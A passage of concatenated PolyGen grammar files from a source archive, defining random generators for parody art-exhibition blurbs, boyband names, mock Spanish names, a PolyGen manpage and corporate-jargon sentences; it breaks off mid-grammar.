      ")(Opera | "["^Opera^"]")) | ((Opera | "["^Opera^"]") (":"|"-"|"::"|"
      "|["
      "]" by") Artists); Titolo ::= \ (Sostc^Dec) | (Sostd^Dec) | (Verb >[Adva|Advb]^Dec) | (Verb >[Adva|Advb|Advc] [Adj] >(Sosta|Sostb)^Dec) | ([Adj] >(Sosta|Sostb) (>(Adva|Advb|Advc)|of) Verb) | ([Adj] >(Sosta|Sostb) (>(Adva|Advb|Advc)|of) >(Sosta|Sostb)) | (\[>(Adva|Advc)] [the] [Adj] >(Sosta|Sostb)) | (>[Adva|Advc] >(Sosta|Sostb)[^"'s"] >(Sosta|Sostb)) | ([Adj] >(Sosta|Sostb) Cong [Adj] >(Sosta|Sostb)) | (Verb [Adva] Cong Verb [Adva]^Dec ) ; Subtitolo ::= \ ( -- a retrospective | --recent works | +_); Sosta ::= \(democracy | environment | galaxy | city | obsessions | suburbia | utopia | ghost | babilonia | babylon | fly | neighborhood | accident | spaghetti | sorroundings | progress | hysteria | objects | legend | eye | eyes | end | surfaces | light | continuum | brain | heart | love | hate | odissey | trip | gap | temporality | river | star | witness | house | street | cube | tube | way | skin | domain | affection | discoveries | thoughts | cry | whispers | mouth | flower | things | hell | blood | pride | jealousy | anger | lust | cyber | ontology | appearance | dinner | meat | ball | man | woman | suffering | pain | beauty | god | existence | power | image | shot | feeling | envy | gluttony | sloth | greed | process | findings | place | nature | truth | death | life | wall | phenomenon | science | creation | connections | divergence | convergence | center | sense | box | cry | shell | child | music | atmosphere | hand | foot | step | emotions | model | sea | lake | marks | sign | identity | path | religion | society | culture | night | day | sun | skies | clouds | edge | years | visions | allucination | line | speech | robot | mosquito | paralellism | echoes | vibration | fullness | joy | circle | light | logic | land | landscape | stranger | walker | figures | motion | correspondency | perspective | sauce | pop | realm | perception | silence | violence | patterns | touch | project | frontiers | memory | memories | bath | floor | concepts | meanings | butterfly | home | escape | theory | point of view | views | door | reflections | possession | desire | devotion | prayer | chicken | experiment | humankind | pipes); Sostb ::= \(space | body | dream | war | peace | work | fun | art | sphere | mind | orgasm | hell | media | blood | sex | science | word | net | tree | shit | vagina | penis | machine | sound | "USA" | "UK" | "Europe" | "URSS" | "Africa" | device | wonder | drug | soul | time | self | water | bomb | nowhere | nobody | nothing); Sostc ::= \Sostb^Suf; Sostd ::= \Pref^Suf; Pref ::= \(tecno | hystero | cyber | epistemo | andro | genea | psycho | teo | escato | phenomeno | horror | mechano | schizo | para | mystero | eco | auto | bio | chromo); Suf ::= (logy | sophy | topia | mania | tropy | genia | frenia | genesis | nomic | gnosis | morph); Adj ::= \( fast | long | bodily | flat | new | funny | open | closed | objective | subjective | urban | odd | even | abstract | your | my | our | semantic | impermanent | massive | wet | bloody | far | near | infinite | dead | living | public | spheric | sexual | private | beautiful | deep | perfect | imperfect | good | bad | little | human | scaring | painful | orgasmic | connected | created | electric | natural | old | young | evil | liquid | solid | visual | red | yellow | blue | orange | black | white | true | false | magic | made | light | stochastic | mathematical | american | european | russian | neural | asian | contemporary | african | entangled | purple | robotic | half | incomplete | sensation | powerful | explicit | implicit | progressive | pure | extrange | strange | static | dynamic | active | passive | insane | crazy | inner | outer | one | two | three | one hundred | a thousand | conceptual | sacred | golden | probabilistic | deterministic | better | worse | super | hyper | mega atomic | pluralistic | experimental | civil | total); Verb ::= \(getting [to know] | discovering | going | coming | opening | closing | creating | listening | walking | crying | thinking | processing | searching | seeing | talking | illuminating | understanding | killing | giving | turning | laughing | driving | running | eating | sleeping | inventing | cutting | travelling | moving | looking | drawing | tracing | taking | breathing | dying | twisting | picking | destroying | investigating | reaching | escaping | evolving | living | breaking | trying | trascending); Adva ::= \(inside | through | behind | beyond | beside | now | before | after); Advb ::= \(in | back | from | to | over | without); Advc ::= \(in front of | in the name of ); Cong ::= \(and | or | without | versus | for | ^"," | ^"/"^) ; City ::= \ (usa: ("New York" | "San Francisco" | "Los Angeles" | boston | chicago | detroit | washington | miami | pittsburg | charlottesville) | fr: (paris)|i: (rome | venice) |au: (sidney | adelaide) | ca: (toronto | vancouver) |uk: (london | liverpool | manchester) | za: (johannesburg | cape town) |dk: (copenhagen) | nw: (oslo) |sw: (stockholm) |ja: (tokyo | kyoto | osaka) | ag: ("Buenos Aires") |ho: (amsterdam) |hu: (budapest) | de: (berlin | bonn | munich) |pg: (lisbon) |in: (new delhi) | ru: (moscow) |he: (zurich | geneve) |sp: (barcelona | madrid) | a: (vienna) |cz: (prague) |ie: (belfast | dublin) | ch: (beijing) |si: (singapore) |be: (brussels) ) ; State ::= \(usa: "USA" |fr: "France" |i: "Italy" |au: "Australia" |ca: "Canada" |uk: "UK" | za: "South Africa" |dk: "Denmark" |nw: "Norway" |sw: "Sweden" |ja: "Japan" | ag: "Argentina" |ho: "Holland" |hu: "Hungary" |de: "Germany" |pg: "Portugal" |in: "India" | ru: "Russia" |he: "Switzerland" |sp: "Spain" |a: "Austria" |cz: "Czech Republic" | ie: "Ireland" |ch: "China" |si: "Singapore" |be: "Belgium" ); Museum ::= ( \ (Surname|State "National"|>City ["Metropolitan"]) \ (museum [of art]| [art] gallery | (centre|foundation) (of|for) \[contemporary]\(art|culture|paint|sculpture)) ^", " (City ^", " State)).(usa|fr|i|au|ca|uk|za|dk|nw|sw|ja|ag|ho|hu|de|pg|in|ru|he|sp|a|cz|ie|ch|si|be); Year ::= 19^N^N|200^N; Dec ::= ++_ | --(["'"^](9|0)^N); N ::= (0|1|2|3|4|5|6|7|8|9); Artist := Author; Artists := Authors; Authors ::= +++(Artist) | -(Artist^","Author) | --(Artist^","Author^","Author) | --(Artist^","Author^","Author "&" Author); Author ::= Name Surname; Name ::= \ (sonia | absalon | georges | eva | alan | jane | bjorn | siemon | darren | pavel | tariq | fernando | francis | marti | janine | john | gustavo | michael | michael | mikael | shimon | gerrit | miroslaw | stephan | oladele | fiona | lothar | iain | vanessa | simone | joseph | ashley | bili | sanford | guillaume | dara | rob | barbara | john | christian | peter | cosima von | christine | jonathan | eberhard | frederic bruly | celeste | luchezar | martin | pavel | ricardo | lisa | vince | a.a. | marcel | stanley | tania | daniele | lee | angela | chris | jean marc | james lee | sophie | pier paolo | luis | mircea | janet | lawrence | maurizio | dinos | jake | melvin | judy | ping | marco | joelle | lygia | michael | jan | com | martin | minerva | stephane | bjorn | horia | hanne | douglas | destiny | thierry | silvie | jeanne claude | wim | braco | mark | uros | peter | bjorn | wang | anita | sam | jimmie | keith | mo | maria | olafur | ger van | toshikatsu | ayse | leandro | iran do | jan | angus | malachi | teresita | urs | peter | sylvie | ceal | irene | michel | jacqueline | andrea | luca | vera | yona | katharina | yang | william | meschac | giuseppe | anya | ryan | carlos | alberto | guido | kendell | rupprecht | isa | jeff | simryn | liam | robert | dorothee | felix | anthony | rodney | dan | gotthard | angela | nancy | renee | joseph | katharina | asta | thomas | wenda | cai | martin | fabrice | hans | otto herbert | ann | david | al | beck | siobhan | jan | rachel | mona | loes | dejanov | georg | christine | gary | susan | thomas | damien | candida | christine | irene | carsten | nancy | katie | jenny | martin | nan | laura | roni | rebecca | craigie | hans van | douglas | bethan | fabrice | michael elmgreen | gunther | runa | sanja | alfredo | henrik plenge | zuzanna | koo | choi | magdalena | gerald van der | anish | allan | kazuo | tadashi | on | mike | mary | niek | anne mie van | yuki | bodys isek | suchan | martin | imi | job | joachim | peter | chris | igor | john | joseph | jannis | jaroslaw | cees | barbara | zofia | suzanne | wolfgang | sean | michael | abigail | nikolaus | anna | hanne | louise | charles | jozef | henrietta | jorgen vincent | jac | zoe | gabriel | sherrie | erik van | atelier van | won ju | donald | thomas | richard | liza | rafael | kristin | sarah | urs | attila richard | david | heinz | michel | noguchi | mark | senzeni | jenny | kerry james | tony | fabio | allan | jonathan | maslen | cildo | bjarne | gerhard | marisa | mario | annette | philippe | aernout | yong soon | cathy de | jonathan | reinhard | geert | juan | takashi | wangechi | hidetoshi | brigitte | yukio | masato | ken | mike | ernesto | mariele | rivane | max | matthew | graham | olaf | carsten | hermann | cady | masanori | marcel | chris | helio | keisuke | rainer | henrik | joao | roman | julian | tatsumi | gabriel | studio | pepon | tony | marry | tsuyoshi | nam june | mimmo | giulio | jorge | cornelia | laura | philippe | jonathan | simon | joao | dan | finnbogi | judy | paul | daniel | patricia | jack | adrian | michelangelo | hermann | paola | jaume | peter | stephen | marc | l.a. | jim | alexandra | navin | charles | tobias | pedro cabrita | jason | gerwald | john | maria | tracey | tom | jan | doris | karin | roderick | julia | carolee | gregor | thomas | diller | berni | beverly | ene liis | servaas | kofi | peter | shozo | taro | chiharu | yinka | alexei | roman | charles | kamera | andreas | kiki | nedko | yutaka | eliezer | keith | simon | georgina | haim | michael | lily van der | danae | peter | elaine | tabaimo | tomoko | ana maria | jennifer | mathilde | nahum | paul | robert | wolfgang | rirkrit | jaime david | rasa | moniek | slaven | anders | yasunao | attilio | thanassis | george | addo lodovico | rosemarie | evanthia | fatimah | keith | piotr | ulay | micha | eulalia | jeanne | adriana | minnette | costas | steina | woody | sergio | roy | thomas | carel | wolf | nick | jeremy | mark | franz erhard | marijke van | lois | lawrence | david | monika | franz | pae | rachel | tine | sue | fred | maaria | johannes | martin | cerith | sisley | huang | keun byung | peng | sun | heimo | gilberto | joe | agata | yael | sebastian | angela | ksenia | tracey | buelent | juny | kjell | djos); Surname ::= \ (abian | absalon | adeagbo | adele | albenda | alborough | alexander | allen | almond | althamer | alvi | alvim | alys | anson | antoni | armleder | artigas gorocica | asher | ashkin | askergren | attie | van | bakel | balka | balkenhol | bamgboye | banner | baumgarten | baxter | beecroft | berti | beuys | bickerton | bidjocka | biggers | bijl | birnbaum | birza | bloom | bock | boltanski | bonde | bonin | borland | borofsky | bosslet | bouabre | boursier mougenot | boyadjiev | boyce | braila | brey | brice | briffa | bronson | broodthaers | brouwn | bruguera | buetti | bul | bulloch | burden | bustamente | byars | calle | calzolari | camnitzer | cantor | cardiff | carroll | cattelan | chapman | chapman | charney | chicago | chong | cianfanelli | ciona | clark | clegg | de | cock | creed | cuevas | dafflon | dahlem | damian | darboven | davis | deacon | de cordier | defraoui | de guillebon | delvoye | dimitrijevic | dion | djuric | downsbrough | du | dube | durant | durham | edmier | edoga | eichhorn | eliasson | elk | endo | erkmen | erlich | espirito santo | fabre | fairhurst | farrell | fernandez | fischer | fischli | fleury | floyer | fortuyn o'brien | francois | fraser | fraser | frei | frenkel | friedman | fritsch | fudong | furlong | gaba | gabellone | gallaccio | gander | garaicoa | garutti | geelen | geers | geiger | genzken | geys | gill | gillick | gober | golz | gonzales torres | gormley | graham | graham | graubner | grauerholz | graves | green | grigely | grosse | groting | grunfeld | gu | guo qiang | guttmann | gygi | haacke | hajek | hamilton | hammons | hansen | hapaska | harrison | hatoum | heebink | heger | herold | hill | hiller | hirschhorn | hirst | hofer | hohenbuchler | holler | holt | holten | holzer | honert | hoover | horelli | horn | horsfield | houwelingen | huebler | huws | hybert | ingar dragset | ingo | islam | ivekovic | jaar | jacobsen | janin | jeong | jeong hwa | jetelova | kaap | kapoor | kaprow | katase | kawamata | kawara | kelley | kelly | kemps | kerckhoven | kimura | kingelez | kinoshita | kippenberger | knoebel | koelewijn | koester | kogler | kohlhofer | kopystiansky | kormeling | kosuth | kounellis | kozlowski | krijnen | kruger | kulik | lafont | laib | lambie | landers | landy | lane | lang | langa | langlands | bell | language | lascari | lauridsen | lawler | ledray | legrand | lehtonen | leijenaar | leirner | leonard | lester | levine | lieshout | lieshout | lim | lipski | locher | long | lou | lozano hemmer | lucas | lucas | luethi | lukacs | mach | mack | majerus | manders | marasela | marketou | marshall | matelli | mauri | mccollum | meese | mehra | meireles | melgaard | merz | merz | merz | messager | meste | mik | min | monchaux | monk | mucha | mul | munoz | murakami | mutu | nagasawa | nahon | nakagawa | nakamura | nakazawa | nelson | neto | neudecker | neuenschwander | neuhaus | ngui | nicholls | nicolai | nicolai | nitsch | noland | oda | odenbach | ofili | oiticica | oki | oldendorf | olesen | onofre | opalka | opie | orimoto | orozco | orta | osorio | oursler | overtoom | ozawa | paik | paladino | paolini | pardo | parker | parnes | parreno | parsons | patterson | penalva | peterman | petursson | pfaff | pfeiffer | pflumm | piccinini | pierson | piper | pistoletto | pitz | pivi | plesma | pommerer | prina | quinn | raeven | ramer | ranner | rawanchaikul | ray | rehberger | reis | rhoades | rockenschaub | roloff | roosen | rose | sachs | valentin | saether | salcedo | sander | sauveur | scher | schneemann | schneider | schutte | scofidio | searle | semmes | semper | setordji | shelton | shimamoto | shinoda | shiota | shonibare | shulgin | signer | simonds | sisimizzi | skura | slominski | smith | solakov | sone | sonnenschein | sonnier | starling | starr | steinbach | stevenson | stokker | stratou | struycken | sturtevant | takahashi | tavares | tee | ter heijne | tevet | thek | therrien | tillmans | tiravanija | tischler | todosijevic | toebosch | tolj | tomren | tone | tono | totsikas | trakas | trinci | trockel | tsantila | tuggar | tyson | uklanski | ullman | valldosera | van heeswijk | varejao | vari | varotsos | vasulka | vega | villevoye | virnich | visser | vostell | vostrikov | wafer | wallinger | walther | warmerdam | weinberger | weiner | weiss | weiss | west | white | whiteread | wilde | williamson | wilson | wirkkala | wohnseifer | wong | wyn evans | xhafa | yong ping | yook | yu | yuan | zobernig | zorio | zucker | zwierzynska | bain | bartana | diaz | morales | ferreira | galiaeva | rose | sangar | yang | bj | rgeengen | janssens | bjrgeen | ikeda | tashimoto | naguchi | matsumoto | takashi); Subject ::= "imaginative process of scientific research" | "human life" | "science and technology" | "world" | "society" | "politics" | "social and political problems" | "nature realm" | "visual elaboration of images" | "elaborating process of information" | art as a (public|social|political|religious|spiritual|natural|artificial) instrument | "communication of feelings and sensation" | "media and communications" | "buildings and living space"| "pollution" | "community" | "personal choice" | "how we perceive things" | "identity" | "struggle for personal freedom" | "sex taboos" | "migration" | "revealing of past and present in the light of future expectations" | "shielding of heritage and environment" ; Object ::= typewriters | condoms | vibrators | candybars | lollypops | panties | dirty socks | sausages | electric cables | leather boots | animals heads | human hair | syringes | cigarettes | shoes | nails | organs; Text ::= ((^","|^";"|^"."\) >>(Prop1|Prop2)<<) (_ |++++ Text); Prop1 ::= "in" Opera ^"," Artist "entwines" (language|technology|information|science)"and"(architecture|art|religion)"in a complex work touching every aspect of" Subject | "the metaphor reveals something deep of the" Subject | "old memories are found and dragged back to present to our imaginations" | "every building has things that people like to point out, quirks of history that come to define it" | "there is maybe a sense of other times in this work, within the present tense transmitted to the screen"| "the work does result from an awareness of the kinds of activity: collecting, analysing and sharing data"| Artist " physically engages the surface of all the abstract works"| "in both media, drawings as well as paintings, linear segments or surfaces are built through accumulation"| "there is a naturalistic quality of light that creates an immediate connection to this as a world we know but yet have never experienced before"| "the layers of time and place involved in the works of art presented engage the viewer in the complexity and awareness of the situation"| "the art of" Artist ^" emphasises an awareness of" Subject| Artist ^"'s work confronts the spectator, while distancing him/her from their intense experience"| Artist "investigates the interplay of time and space, the now and the before, and the way we can relate to their perceptions"| Artist ^"'s nearly imperceptible sound paths unconsciously stop the visitors in their tracks"| "all art works are derived from a particular situation and consciousness, extracting observations and private histories from the artists' archive of personal experiences"| "the current works represent earth art that celebrates how we're all connected on the one web of life"| Artist ^"'s works are characterized by a clear vocabulary"| "all around us the fundamentals of life are crying out to be shaped or created"| "the new works reflect the artist's ambition to capture his own experiences and observations in such a poetic and abstract manner"| "the current tension and diverging statements in art challenges us to re-evaluate our personal criteria in the composing of visual concepts"| "the title of the project captures the described image and concept"| "the starting point for" Opera^" is the corner, 'the boundary between interior and exterior', between indoors and outdoors, between" Adj^" and "^Adj| "the installations of" Artist ^"- sometimes called" Titolo^" by the artist - cast their spell over the viewer at first glance"| "the installation reflects artist's idea of the animation of the machine as a mirror of" Subject; Prop2 ::= "that is the transformations and the invented narratives through thousands of repetitive images" | "the primary form will refer to the human figure and/or forms found in geographical landscape"| "it is the ability of text to stimulate our imaginations and to communicate images and meanings to each of us" | "as readers, we fill in the gaps of her text and imagine far more than what we see, carrying our own interpretation of the lines" | "there is some idea of an almost physiological study of" Subject^", of considering it as though it were an organism"| "but the images themselves are distorted in ways quite unlike those made through microscopes" | "that contrast between areas in and out of focus, exaggerates the sharpness in the central area" | "there is something quite important about this central focus to the images" | "it's a sense of active seeking and scrutiny"| "we never think about it"| "we find that in the hidden spaces"| "there is an archaeology of" Subject " and of people living and working with that"| "but there is still something inhuman about this work"| "the changes that are theoretically visible over time will never be registered by the eye"| "this work may then in turn have serious relevance to human needs and the formulation of policies"| "the results of the research could have impact across the globe"| "just being in this place changes anyone's awareness"| "each image emerges as a kind of performance of applying paint, rubbing, erasing, sanding and reapplication until the moment of completion"| "the final work exists as a result of its own history, resonating with the memory of each mark"| "together these elements form within their layering an illusion of architectural dimensionality which never denies its inherent flatness"| "at the same time a biomorphic quality is acquired through partial erasure, bleeding and multiple applications"| "the resulting images present abstract forms merging with a visceral landscape, simultaneously appearing to be drawn from such traditions as Islamic ornamentalism or the Ecole de Paris and a futuristic, space-age biomorphicism"| "leading to new ways of exploring and understanding individual circumstances"| "there is the immediate visual, three-dimensional impact"| "the use of vivid colors, often primary, and of mirror effects playing on light to create the desired atmosphere"| "the use of pre-recorded soundtracks to accentuate this atmosphere"| "the use of texts or single words to engage the viewer"| "the use of lettering as a means of contributing to the atmosphere and playing on perception"| "however, there is a sub-text, a slight twist, a sideswipe at conformism, a throwing off-balance both physical and mental"| "it is up to the viewer to decide whether to immerse in the sub-text, whether or not to participate in the scenario"| "this consciousness prompts the artists to deal with the political, the geographical, and the everyday in a non-didactic way"| "no conclusions drawn, however"| "rather than a single obvious reading, there are several readings that are available"| "a constant oscillation between reality and fiction, fiction and documentary, the communal and the private realm of the individual is offered"| "is a segment between two points"| "it is not a departure nor an arrival"| "but a moment that almost functions as a number of stills that are isolated from a film creating a new situation"| "through this, it relaxes our impulse for a historically conditioned static viewing of this abstract work"| "that engages a revitalized appreciation of the genre"| "the artist uses a quasi-scientific presentation of data"| "while the work documents a personal approach to investigating questions about" Subject^" and "^Subject| "after all, the information it reveals is easily accessible to anyone who wants it"| ["displayed on an eye-level platform that snakes through the gallery,"]"the installation reiterates the performative aspects of the making of the work"| "in that way it leads us to view the world around us differently"| "the unique design of these works takes them beyond the realm of a cultural craft into sculpture and mixed media, beyond any simplistic categorization"| "this is the crucial fact we've to realise, and this broader concept of creativity is" Artist^"'s concept of art"| "everybody can determine the content of life in his particular sphere"| "our idea of culture is severely restricted because we've always applied it to art"| "our concept of art must be universal and have an interdisciplinary nature"| "the success of" Opera " lies in this very process"| "at the same time the work represents the ultimate symbol of the cycle of life"| "it symbolizes the artist's optimistic belief in beauty and change"| "even if it deals with currently important themes like" Subject^", "^Subject^" or "^Subject| "personal desires and fears remain the starting point for artist practice"| "another, equally important aspect of this work is the search for beauty in the world around"| "this poetic work is exemplary of" Artist^" eye for detail"| "the artist fills seemingly simple images with light and air to evoke a sense of purity and serenity"| "we are faced with what appears to be a direct transcription of the impossible"| "images are exactly truthful representations of what they record, the strangeness they represent is all carefully setup before the shot is taken"| "the relationship of the fictional world to reality is reflected in the constant preoccupation with the relationship of photography to painting and of either to experience reality"| "if presented in that way, figures give to the sign which they produce, "literature" and that, in turn, is easily appropriated by myth"| "within each work a 'statement' functions to describe the continuum within a balance of constants and variables"| "that gives to its percipient the information that joins with whatever is represented as visual"| "we see the image, which is the 'work' produced by the percipient as an event in his or her time"| "illustrating subject matter to the viewer is not artist primary concern"| "these objects are indeed more closely related to fables than to inventories, as much about what is implied as what is delineated"| Artist^"'s objects are" Object^", "^Object^" and "^Object| "this art immerses viewers into the magic by which paint transforms itself into things being described and back again"| "the artist places provocative and beautifully rendered objects such as " Object^" and "^Object| "we are forced to explore the question of how the museum consciously or unconsciously perpetuates beliefs and behavior"| "consciously or unconsciously, the setting of the image expresses the particular sensitivity of the viewer"| "this principle reveals purity in sensuality which never ceases to move us"| "this art, a sophisticated gaze, pursues the permanence of a gesture or a presence"| "that conveys a feeling of intimacy and serenity"| "the images often show, that the lighting has been reworked"| "the artworks supply us with the ever topical, ever desirable presence of a poetic spirit, away from the turmoil of trends and generations"| "it's a mystery in silence"| "what we find is the permanence in the personal approach in expressive settings"| "what we see is the musicality of light and the exquisite pleasure of surprise"| "it's like an enchantment"| "each artist's individual work can only affirm itself in the wider context of concurrent developments"| "this reflection evokes multiple aspects about our physical and mental condition"| "the obvious material function of the" Object^" is re-interpreted and transformed to communicate a spiritual, intellectual and psychological message of art as dialogue and as cross-cultural interaction"| "the" Object^" may cover several references to connected meanings, events, experiences, but the correlation of the whole group of" Object " generates the actual inter-relation of fragmented realities"| "the statement remains obscure until the juxtaposition of all art works in a continuous collective revelation process"| "these works reflect a dramatic change from" Artist^"'s biting social commentaries on" Subject^" to works expressing the inner being in relationship to the beauty of creation on earth and beyond"| "it takes more than just visual or acoustic reception to understand the works, for they are synaesthetic, appealing simultaneously to the visual, acoustic and physical perceptions of the viewer and captivating in their precision"| "without change - significant change via experimentation - contemporary art risks fading into stale predictability"| "the latest productions forego such temptation, and confirm their refreshing willingness to embrace change"| "all of the artist's objects and installations animate history in ways that give it new meaning and relevance"; polygen-1.0.6.ds2/grm/eng/ms.grm0000644000175000017500000000433010340417034015662 0ustar enricoenrico I ::= "title: Payoffs a' la Microsoft\n" ^ "author: Manta\n" ^ "language: english\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 25/09/2002" ; S ::= \ (W Pred.(inf|ing)).(where|what|how|who) (_ |++ Adverb) ^ "?" ; W ::= where: where | what: what | how: how | who: who ; Pred ::= ing: (Be Person).(1|+++2|---3) [Verb] | inf: (will |- shall | could |- may | might |+ do | would) Person. ((like | wish) to Verb.be |+ Verb) | inf: (Be Person).(1|+++2|---3) going to Verb.be ; Be ::= 1: am | 2: are | 3: is ; Person ::= 1: "I" |+++ 2: (you |- we) |--- 3: "Helder" ; Verb ::= where: ( be: be | go (ing: ^ing | inf: _) [to] | com ^ (inf: e | ing: ing) (from | to) | arriv ^ (inf: e | ing: ing) [from | to] | leav ^ (inf: e | ing: ing) for | stay (ing: ^ing | inf: _) [with | by] | liv ^ (inf: e | ing: ^ing) [by] | tak ^ (inf: e | ing: ^ing) off (to | for) | land (ing: ^ing | inf: _) [upon] ) | what: ( be: be | do (ing: ^ing | inf: _) | (think | feel) (ing: ^ing | inf: _) [of | about] | look (ing: ^ing | inf: _) [at | for | like] | get (ing: ^ting | inf: _) | inf: seem [like] | tast ^ (inf: e | ing: ing) [of] | smell (ing: ^ing | inf: _) [of] | belong (ing: ^ing | inf: _) to ) | how: ( be: be | do (ing: ^ing | inf: _) | go (ing: ^ing | inf: _) on | (think | feel) (ing: ^ing | inf: _) [of | about] | liv ^ (inf: e | ing: ^ing) | tak ^ (inf: e | ing: ^ing) off ) | who: ( be: be | look (ing: ^ing | inf: _) [at | for | like] | see (ing: ^ing | inf: _) | inf: seem [like] | get (ing: ^ting | inf: _) | belong (ing: ^ing | inf: _) to | tak ^ (inf: e | ing: ^ing) off with ) ; Adverb ::= today | tomorrow |- tonight ;polygen-1.0.6.ds2/grm/eng/boyband.grm0000644000175000017500000000231310340417034016660 0ustar enricoenricoI ::= "title: Boyband names\n" ^ "author: Zcode <zcode@tiscali.it>\n" ^ "language: english\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: dedicated to" \Nome^, \Nome [^, \Nome] 'n \Nome ^"\n" ^ "created: 30/06/2003" ; S ::= Band; Band ::= Verbo (Pron|Num) | [\the] Num^[s] | (Boys|Pron|Num) to (Boys|Pron|Num) | (Back^Street Boys).(1|2) | '^\(n|m|r|s|v|p|w|x)\(+sync|sink|sick|silk|Boys|Pron|Num) | (Boy) ^zone; Back ::= \ (1: >(black | break | beck | bank | breast | pack ) | 2: >(back | front | down | left | right | side )); Street ::= (1: >(strip | streap | string | steak | stream | strict) | 2: >(street | road | avenue | zone)); Boy ::= \(1: boy | 2: ( boy | guy | kid | men)); Boys ::= (Boy) ^(s|z); Verbo ::= \(take | bring | push | pull | get | pick); Pron ::= \(that | this | those | these | it | them | all | back); Num ::= \(three | four | five | six | seven | eight | nine | ten | eleven | twelve); Nome ::= (jason|jay|howie|ralph|ryan|marc|robbie|david| nick|brian|kevin|aj|gary|howard|ronan|stephen| keith|mikey|shane|jc|justin|chris|lance|joey) [[^Suff]]; Suff ::= "-"^\(b|c|d|g|j|k); polygen-1.0.6.ds2/grm/eng/fernanda.grm0000644000175000017500000000251110340417034017020 0ustar enricoenrico I ::= "title: " Fernanda "\n" ^ "author: Pan <pansk@tiscalinet.it>\n" ^ "language:" (spanishy | spanish | hyberic | any) "\n" ^ "topic: misc\n" ^ "status: mature\n" ^ "audience: nobody\n" ^ "created: 05/05/2003" ; S ::= (Nome.F | Nome.M) Nome.C; Fernanda ::= \fernanda [y] Nome.F Nome.C; NomeF ::= \ (dolores | quesadilla | fernanda | pedra | alemanna | fajita | tostada | maria | soledad | guacamole); NomeM ::= \ (jalapeno | diego | fernando | pedro | hermanno | hernando | jose | gonzales | juan | taquito); Nome ::= Doppio | Nome Suffisso; Doppio ::= (Singolo Suffisso); Suffisso ::= y Singolo | ^ "-" ^ SenzaPrefisso | Singolo; Singolo ::= C: >> de (DeCognomi | (la \ (bega | barca | tega | vega | fava))) | (da DaCognomi) | SenzaPrefisso << | F: NomeF | M: NomeM ; SenzaPrefisso ::= C: >NullCognomi | >DaCognomi | >DeCognomi | F: NomeF | M: NomeM ; NullCognomi ::= \ (quesos | tacos | burritos | nachos | pelancho); DeCognomi ::= \ (artola | marcario | mendes | meira | gutierrez | espinoza | zabala | oliveira | barrios | arevalo | marques | pinto | piva | lobato | carvalho | maia | vital | toledo | perdomo | perez | tepedino | contresas | barroso | abascal | ranchero); DaCognomi ::= \ (silva | costa); polygen-1.0.6.ds2/grm/eng/man.grm0000644000175000017500000000536610340417034016030 0ustar enricoenricoI ::= "title: Polygen manpage\n" ^ "author: Enrico Zini <enirco@debian.org>\n" ^ "language: english\n" ^ "status: embryonic\n" ^ "topic: polygen\n" ^ "comment: The generated manpage is still incomplete.\n" ^ "created: 15/09/2004" ; S ::= ".TH POLYGEN 1 \"September 15, 2004\"\n" ^ ".SH NAME\n" ^ Name "\n" ^ ".SH SYNOPSIS\n" ^ ".B polygen\n" ^ ".RI [options]\nsources\n" ^ ".SH DESCRIPTION\n" ^ Description "\n" ^ ".SH OPTIONS\n" ^ "Please run \\fBpolygen\\fP without parameters for an explanation on how to run \\fBpolygen\\fP.\n" ^ ".SH AUTHOR\n" ^ Author ; Name ::= Polygen "-" ShortDesc ; Polygen ::= "Polygen" ; ShortDesc ::= Polygen "is a" Whatis "for" Whatitdoes Howitdoes ; Whatis ::= Attribute ( "program" | "tool" | "system" | "gadget" ) ; Attribute ::= ( _ | "powerful" | ^"n advanced" | ^"n innovative" ) ; Whatitdoes ::= ( "generating" | "creating" | "bursting out" | "computing" ) Random ( "sentences" | "wisdom" | "nonsense" ) ; Random ::= ( "random" | "deep" | "enlightening" | "zen" | "casual" | "accidental" | "aleatory" | "automatic" | "capricious" | "causeless" | "chancy" | "circumstantial" | "cool" | "cursory" | "destinal" | "desultory" | "dicey" | "erratic" | "extemporaneous" | "flippant" | "fluky" | "flunky" | "fortuitous" | "frivolous" | "gratuitous" | "iffy" | "improvised" | "incidental" | "serendipitous" | "spontaneous" | "stochastic" | "superfluous" | "thoughtless" | "unconscious" ) ; Howitdoes ::= "according to a grammar definition, that is following custom syntactical and lexical rules." ; Description ::= ShortDesc "\n.PP\n" ^ "Formally, it is an interpreter of a language itself designed to define languages, where to interpret means executing a source program in real time and eventually outputting its result." ^ "\n.PP\n" ^ "Here a source program is a grammar definition, the execution consists in the exploration of such grammar by selecting a random path and the result is the sentence built on the way." ^ "\n.PP\n" ^ "Though PolyGen is quite a seriuos piece of software then, what else would be more noble for it than being used as a parody tool for linguistical habits, stereotypes and trends of this foolish era?" ^ "\n.PP\n" ^ "Principles of parody are focusing a ridiculous topic and eventually abstracting its rules and schemes (here in terms of a grammar definition) by which reproducing it through the variatio device." ^ "\n.PP\n" ^ "And randomization is perfect at this purpose thanks to its purely asemantic behaviour =:)" ; Author ::= "Manta" ^ "\n.PP\n" ^ "This manpage has been generated after instructions given by Enrico Zini ." ; polygen-1.0.6.ds2/grm/eng/manager.grm0000644000175000017500000000707510340417034016666 0ustar enricoenrico I ::= "title: New Economy manager\n" ^ "author: Manta\n" ^ "language: english\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim:" Prods and Prod are ( "Mulino Bianco" | "Barilla" | "Vodafone" | "MacDonald's" | "Chupa & Chups" | "De Longhi" | "Ferrero" | "Burger King" | "Calvin Klain" | "Valentino" | "Ferrari" | "Rolls Royce" ) (^"," [limited] "inc.") trademarks ^"\n" ^ "created: 25/08/2002" ; Prod ::= Java | Internet ; Prods ::= Prod [^"," Prods] ; S ::= \Period.inf^"." ; Period ::= we (Aux.aff Pred.(noun|adj).inf. | Either.(aff|-neg)) (---- _ | ( ( 1: ^"," so that | 1: and | 1: ^"," but | 1: ^"," otherwise | 2: ^"," thus | 2: as [(long | soon) as] ) [1: then | 1: therefore | 1: ^"," this way^"," | 2: indeed] ).(1|2) Period.(noun|adj). | [in order] to Pred.(noun|adj).inf. | for Pred.(noun|adj).ing. ) ; Either ::= (neg: n^ | aff: _) either Aux Pred.(noun|adj).inf. ^"," (neg: n^ | aff: _) or Aux Pred.(noun|adj).inf. ; Aux ::= (should | can | could | would) [better] | (have | need) to | aff: will [be able to] ; Pred ::= Verb Obj ; Obj ::= Adjective Noun | the (development | design) of (Genitive.adj Noun | Genitive.noun) ; Noun ::= systems | tools | controls | applications | projects | engines | services | providers | portals | [application] servers | solutions | strategies | architectures | tecnologies | politicies ; Adjective ::= 